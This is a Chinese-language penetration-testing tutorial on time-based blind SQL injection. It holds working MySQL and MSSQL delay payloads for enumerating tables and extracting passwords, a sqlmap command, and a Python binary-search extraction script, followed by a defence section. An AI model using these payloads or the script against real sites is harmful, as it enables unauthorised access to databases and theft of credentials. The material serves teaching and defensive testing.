目录

一、时间盲注原理

二、完整攻击流程

1. 注入点确认

2. 基础条件判断

3. 系统信息收集

(1)获取数据库版本

(2)获取当前数据库名

4. 数据提取技术

(1)表名枚举

(2)列名猜测

(3)逐字符数据提取

5. 自动化优化技巧

(1)二分法加速判断

(2)多线程爆破

三、工具辅助利用

1. SQLMap自动化注入

2. 手动脚本示例(Python)

四、防御方案

五、时间盲注 vs 报错注入

六、总结


一、时间盲注原理

​时间盲注(Time-Based Blind SQL Injection)​​是SQL注入的高级利用方式,适用于以下场景:

  • 页面无数据回显(无显示位)
  • 数据库错误信息被屏蔽
  • HTTP响应状态码统一(无布尔型注入条件)

​核心原理​​:通过构造带有​​时间延迟函数​​的SQL语句,根据页面响应时间判断注入条件是否成立。例如:

' AND IF(1=1, SLEEP(5), 0) -- 

若页面响应延迟5秒,则说明条件成立(1=1为真)。


二、完整攻击流程

1. 注入点确认

​目标​​:验证是否存在时间盲注漏洞
​Payload构造​​:

' AND SLEEP(5) -- 

' ; WAITFOR DELAY '0:0:5' -- (MSSQL)

​判断依据​​:

  • 正常请求响应时间 < 1秒
  • 注入后响应时间 ≥ 5秒则存在漏洞

2. 基础条件判断

​目标​​:通过延迟验证布尔条件
​示例(MySQL)​​:

' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) -- 
  • 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
  • 可逐步调整阈值(二分法)快速定位准确值

3. 系统信息收集

(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) -- 

判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本

(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) -- 

通过逐字符判断(d的ASCII为100),最终拼接得到完整库名


4. 数据提取技术

(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) -- 

验证首个表名的首字母是否为'u'(ASCII 117),即常见users表

(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) -- 

判断users表首列首字母是否为'i'(id列)

(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) -- 

判断首行密码首字符是否为'a'(ASCII 97)


5. 自动化优化技巧

(1)二分法加速判断
  • 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
  • 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
  • 对多个字符位置同时发起请求
  • 需注意目标服务器的并发限制

三、工具辅助利用

1. SQLMap自动化注入

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3

参数说明:

  • --technique=T:指定时间盲注技术
  • --time-sec=3:定义延迟阈值

2. 手动脚本示例(Python)

import requests
import time

target_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "

for position in range(1, 20):
    low = 0
    high = 255
    while low <= high:
        mid = (low + high) // 2
        current_payload = payload.format(position, mid)
        start_time = time.time()
        requests.get(target_url + current_payload)
        elapsed = time.time() - start_time
        if elapsed > 3:
            low = mid + 1
        else:
            high = mid - 1
    print(f"Position {position}: {chr(high)}")

四、防御方案

  1. ​预编译语句(Prepared Statements)​

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  2. ​输入过滤​

    • 白名单验证数字类型:user_id = int(input_data)
    • 过滤特殊字符:'";<>()&|
  3. ​权限控制​

    • 数据库账户仅授予最小必要权限
    • 禁用敏感函数(如SLEEP()EXEC
  4. ​WAF防护​

    • 部署Web应用防火墙拦截时间盲注特征
    • 设置请求超时阈值(如单请求最长处理时间2秒)

五、时间盲注 vs 报错注入

对比项 时间盲注 报错注入
适用场景 无任何回显 有错误信息回显
攻击速度 极慢(需等待延迟) 较快
检测难度 更难被传统WAF识别 易被基于错误的规则检测
典型函数 SLEEP()、BENCHMARK() updatexml()、extractvalue()
数据提取方式 逐字符二分法判断 直接显示在错误信息中

六、总结

时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:

  • ​精准的延迟控制​​:需考虑网络波动干扰
  • ​高效的字符猜测策略​​:优先使用二分法
  • ​自动化脚本辅助​​:手动测试效率极低
Logo

这里是“一人公司”的成长家园。我们提供从产品曝光、技术变现到法律财税的全栈内容,并连接云服务、办公空间等稀缺资源,助你专注创造,无忧运营。

更多推荐